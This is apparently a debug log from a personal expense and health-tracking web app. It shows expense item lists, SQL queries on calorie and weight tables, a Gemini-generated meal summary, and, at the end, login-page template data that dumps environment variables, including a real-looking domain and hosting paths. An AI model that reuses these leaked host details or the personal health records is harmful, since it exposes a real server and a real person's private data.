  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T11:20:04.399Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '950',
    surplus_or_deficit: '1450',
    status_flag: 2
  }
]
2025-12-24T11:20:04.399Z server-connect:app Executing action step single
2025-12-24T11:20:04.399Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-24T11:20:04.400Z server-connect:output current_weight: { weight: '69.70', date: '2025-12-23T18:30:00.000Z' }
2025-12-24T11:20:04.976Z server-connect:app Executing action step identify
2025-12-24T11:20:04.976Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:04.976Z server-connect:output identity: 1
2025-12-24T11:20:06.320Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-24T11:20:06.321Z server-connect:app Executing action step identify
2025-12-24T11:20:06.321Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:06.321Z server-connect:output identity: 1
2025-12-24T11:20:06.322Z server-connect:app Executing action step restrict
2025-12-24T11:20:06.322Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:20:06.322Z server-connect:output restrict: undefined
2025-12-24T11:20:06.322Z server-connect:app Executing action step select
2025-12-24T11:20:06.323Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-24T11:20:06.324Z server-connect:output items_consumed_today: [
  {
    id: 500,
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices'
  },
  {
    id: 501,
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 502,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 503,
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)'
  },
  {
    id: 504,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 505,
    item_name: 'Patta Gobi Sabji',
    calories: 90,
    protein_gm: 3,
    carbs_gm: 12,
    fat_gm: 4,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 506,
    item_name: 'Roti',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 76,
    fat_gm: 2,
    quantity: '4 rotis (approx 120g total)'
  },
  {
    id: 507,
    item_name: 'White Guava',
    calories: 136,
    protein_gm: 5,
    carbs_gm: 29,
    fat_gm: 1,
    quantity: '1 big size (approx 200g)'
  },
  {
    id: 508,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  }
]
2025-12-24T11:20:06.324Z server-connect:app Executing action step paged
2025-12-24T11:20:06.324Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-24T11:20:06.326Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 19,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-23T18:30:00.000Z', weight: '69.70' },
    { date: '2025-12-21T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' }
  ]
}
2025-12-24T11:20:06.326Z server-connect:app Executing action step run
2025-12-24T11:20:06.326Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T11:20:06.327Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 502 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 503 | Poha (mixed with tomato, onion, matar) | 200 | 5 | 40 | 3 | 1 serving (approx. 150g cooked) |\n' +
  '| 504 | Green Tea | 2 | 0 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '| 505 | Patta Gobi Sabji | 90 | 3 | 12 | 4 | 1 serving (approx 150g) |\n' +
  '| 506 | Roti | 360 | 12 | 76 | 2 | 4 rotis (approx 120g total) |\n' +
  '| 507 | White Guava | 136 | 5 | 29 | 1 | 1 big size (approx 200g) |\n' +
  '| 508 | Green Tea | 2 | 0 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '\n'
2025-12-24T11:20:06.327Z server-connect:app Executing action step run
2025-12-24T11:20:06.327Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T11:20:06.328Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-23T18:30:00.000Z | 69.70 |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-24T11:20:06.328Z server-connect:app Executing action step setvalue
2025-12-24T11:20:06.328Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-24T11:20:06.328Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 502 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 503 | Poha (mixed with tomato, onion, matar) | 200 | 5 | 40 | 3 | 1 serving (approx. 150g cooked) |\n' +
  '| 504 | Green Tea | 2 | 0 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '| 505 | Patta Gobi Sabji | 90 | 3 | 12 | 4 | 1 serving (approx 150g) |\n' +
  '| 506 | Roti | 360 | 12 | 76 | 2 | 4 rotis (approx 120g total) |\n' +
  '| 507 | White Guava | 136 | 5 | 29 | 1 | 1 big size (approx 200g) |\n' +
  '| 508 | Green Tea | 2 | 0 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-23T18:30:00.000Z | 69.70 |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-24T11:20:06.328Z server-connect:app Executing action step processWithGemini
2025-12-24T11:20:06.328Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-24T11:20:07.687Z server-connect:output health_summary: {
  summary: "Today's nutrition provided a decent foundation with protein from whey and some from meals. Meal timing appears reasonable, supporting your gym routine. Continued adherence to this pattern suggests steady progress towards your goals.",
  rating: 7,
  rating_judgement: 'Good effort',
  good_points: [
    'Inclusion of whey protein post-workout for muscle recovery.',
    'Balanced meals with vegetables and carbohydrates.',
    'Consistent hydration with green tea.'
  ],
  bad_points: [
    'Potential for higher protein intake to better support muscle development.',
    'Carbohydrate intake might be on the higher side for fat loss goals.',
    'Limited variety in vegetable sources.'
  ],
  suggestions: [
    'Incorporate more lean protein sources throughout the day.',
    'Consider adding a source of healthy fats to meals.',
    'Increase the variety of vegetables consumed.',
    'Ensure adequate water intake beyond green tea.'
  ],
  predicted_weight_trend: 'Slight downward trend',
  predicted_weight: 69.5
}
2025-12-24T11:20:07.687Z server-connect:app Executing action step condition
2025-12-24T11:20:07.687Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-24T11:20:07.687Z server-connect:app Executing action step delete
2025-12-24T11:20:07.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-24T11:20:07.688Z server-connect:output delete: { affected: 1 }
2025-12-24T11:20:07.688Z server-connect:app Executing action step insert
2025-12-24T11:20:07.688Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-24T11:20:07.689Z server-connect:output insert: { affected: 1, identity: 64 }
2025-12-24T11:20:07.690Z server-connect:output condition: undefined
2025-12-24T11:20:07.898Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T11:20:07.898Z server-connect:app Executing action step identify
2025-12-24T11:20:07.899Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:07.899Z server-connect:output identity: 1
2025-12-24T11:20:07.899Z server-connect:app Executing action step restrict
2025-12-24T11:20:07.899Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:07.899Z server-connect:output restrict: undefined
2025-12-24T11:20:07.899Z server-connect:app Executing action step single
2025-12-24T11:20:07.899Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T11:20:07.900Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's nutrition provided a decent foundation with protein from whey and some from meals. Meal timing appears reasonable, supporting your gym routine. Continued adherence to this pattern suggests steady progress towards your goals.",
    bad_points: [
      'Potential for higher protein intake to better support muscle development.',
      'Carbohydrate intake might be on the higher side for fat loss goals.',
      'Limited variety in vegetable sources.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Balanced meals with vegetables and carbohydrates.',
      'Consistent hydration with green tea.'
    ],
    suggestions: [
      'Incorporate more lean protein sources throughout the day.',
      'Consider adding a source of healthy fats to meals.',
      'Increase the variety of vegetables consumed.',
      'Ensure adequate water intake beyond green tea.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Good effort',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T11:20:13.568Z server-connect:router Serving templateView /
2025-12-24T11:20:13.569Z server-connect:app Executing action step identify
2025-12-24T11:20:13.569Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:13.569Z server-connect:auth No login cookie found
2025-12-24T11:20:13.569Z server-connect:output identity: false
2025-12-24T11:20:13.569Z server-connect:app Executing action step restrict
2025-12-24T11:20:13.569Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:20:13.570Z server-connect:output restrict: undefined
2025-12-24T11:20:13.600Z server-connect:router Serving templateView /login
2025-12-24T11:20:13.600Z server-connect:app Executing action step identify
2025-12-24T11:20:13.600Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:13.600Z server-connect:auth No login cookie found
2025-12-24T11:20:13.600Z server-connect:output identity: false
2025-12-24T11:20:13.600Z server-connect:router Render template layouts/authentication
2025-12-24T11:20:13.600Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
